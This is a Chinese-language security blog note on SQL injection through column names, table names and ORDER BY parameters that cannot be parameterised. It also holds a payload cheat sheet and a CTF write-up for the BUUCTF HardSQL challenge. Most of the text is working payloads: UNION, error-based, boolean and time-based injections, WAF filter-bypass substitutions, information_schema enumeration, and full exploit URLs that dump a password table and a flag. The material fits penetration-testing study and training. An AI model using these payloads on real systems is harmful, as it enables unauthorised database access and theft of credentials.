在Java持久化层或Web框架化的情况下,要么很难有SQL注入,要么全是SQL注入(没用防注入框架的网站,xray狂喜)。这里列出特例或者开发常犯错的例子。
SQL语句有哪些参数无法动态编译?
即,无法参数化与预编译的情况有哪些?
-
表名和列名
-
SQL关键字和语法结构
SQL关键字(如SELECT、INSERT、UPDATE等)和语法结构(如FROM、WHERE、GROUP BY等)如果需要根据动态条件构建不同的SQL查询,可以使用条件语句(如IF、CASE WHEN)来控制SQL语句的结构。
-
表达式和函数
日期函数、数学函数、字符串函数等。
列名
列名常见以下位置。
SELECT子句
列名通常用于指定要检索的列。例如:
SELECT username, age FROM users;
检索列如果可控。可以想像一下,API接口的参数长什么样子。我最喜欢看见POST里混杂JSON格式的参数了。
#列括号表示
select=["username","age"]&username=kokoisko&age=25
#JSON格式,动态参数
{"username"="test","age"=25}
#参数接JSON
query={"username"="test","age"=25}
构造利用,推荐UNION。因为后端的SQL拼接语句有可能包含换行符,注释符号注释不了多行,导致报错。
#UNION payload:
#SELECT 1,2 union select username, age FROM users;
1,2 union select username
#注释截断的payload:
#SELECT 1,2 from information_schema.schemata --, age FROM users;
1,2 from information_schema.schemata --
WHERE子句
列名用于指定用于筛选数据的条件。例如:
SELECT username, age FROM users where username=?
筛选条件列如果可控。可以想像一下,API接口的参数长什么样子。
没错,和上面SELECT字句差不多。
#Error based
#SELECT username, age FROM users where `username`=(SELECT extractvalue(1,CONCAT(0x7e,(SELECT user()),'~'))) and username = ?
#Error based payload:
username=`username`%2D(SELECT extractvalue(1,CONCAT(0x7e,(SELECT+user()),'~')))+and+username
ORDER BY子句
列名用于指定排序的列。例如:
SELECT username, id FROM grace_db ORDER BY username ASC;
可以想像一下,接口的参数长什么样子。关键字有sort、order、ord、sortOrder、sidx、sord。
sort=username&ord=ASC
sort参数:
#报错
sort=updatexml(1,concat(0x7e,(select @@user)),1)
#真假
sort=if(1%3D1,id,username)
#时间
sort=if(1%3D1,1,sleep(1))
注意order by后可以逗号分隔多个列名排序,那么就可以转换为sort参数的情况。
ord参数:
ord=,updatexml(1,concat(0x7e,(select @@user)),1),1)+ASC
ord=,if(1%3D1,id,username)+ASC
表名
FROM子句
建议UNION续写
SELECT username, age FROM `users` where username="abc";
SELECT username, age FROM users union select 1,2 union select username, age from users where username="abc";
#payload:
table=users+union+select+1,2+union+select+username,age+from+users
其它
写着写着,觉得其它情况里,SQL关键字与函数的注入,确实少见,就不展开废话了。
因为关键还是闭合,在列名表名导致注入的情况其实已经覆盖得差不多了。
后记:
翻了一下挖过的注入,还真的有条件符号可定义的情况。
感叹,开发,无奇不有。
http://test.com/findprofilelist?sorts=%255B%255D&conditions=[{"Field":"@@version","DataType":1,"Option":1,"Value":"1"}]&userId=1
DataType=1时,后端代码会自动转换类型为int
DataType=2时,估计数据类型为char
Field使用单引号测试,可观察语句结构,获知`Field` = `Value`的结构。即可操纵列名,及对应的值。
Option=1,为不等于,2为等于之类的操作符号。
换位思考,换我,我也这样写,完成功能要紧。安全?你们测出来再改。
参考阅读
从一个 Laravel SQL 注入漏洞开始的 Bug Bounty 之旅
ThinkPHP Laravel SQL 注入
使用数组进行框架ORM注入
备忘
报错函数
updatexml(1,concat('~',(select(database()))),1)
#mssql error payload
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1470094982')))
字符函数
substring('123',32,64)
substr('123',32,64)
left('123',3)
right('123',3)
hex
ascii
空格/分割符号
%0c %0a () /**/
1.1 1e9
符号替换
or and => && ||
xor
= like in
查看数据库
select(group_concat(schema_name))from(information_schema.schemata)
查看表名
(select(select(group_concat(table_name))from(information_schema.tables)where(schema_name='geek'))
查看列名
(select(select(group_concat(column_name))from(information_schema.columns)where((table_name)like'H4rDsq1')))
[极客大挑战 2019]HardSQL1
1、单引号,报错成功。
2、and/or/&&/||符号,拦截提示,大小写拦截。xor替换。
3、空格拦截,/**/拦截,%0a拦截。使用括号()。
4、报错函数无拦截
5、substr/substring/mid拦截。left/right替换。
6、=符号拦截。like替换。
http://test.node4.buuoj.cn:81/check.php?username=admin&password=1'xor(updatexml(1,concat('~',right((select(select(group_concat(schema_name))from(information_schema.schemata))),20)),1))xor'1
http://test.node4.buuoj.cn:81/check.php?username=admin&password=1'xor(updatexml(1,concat('~',right((select(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like'geek'))),20)),1))xor'1
H4rDsq1
http://test.node4.buuoj.cn:81/check.php?username=admin&password=1'xor(updatexml(1,concat('~',right((select(select(group_concat(column_name))from(information_schema.columns)where((table_name)like'H4rDsq1'))),20)),1))xor'1
http://test.node4.buuoj.cn:81/check.php?username=admin&password=1'xor(updatexml(1,concat('~',right((select(select(group_concat(password))from(H4rDsq1))),31)),1))xor'1
flag{85a4c8ec-31b2-4296-8273-4e80fddfc48e}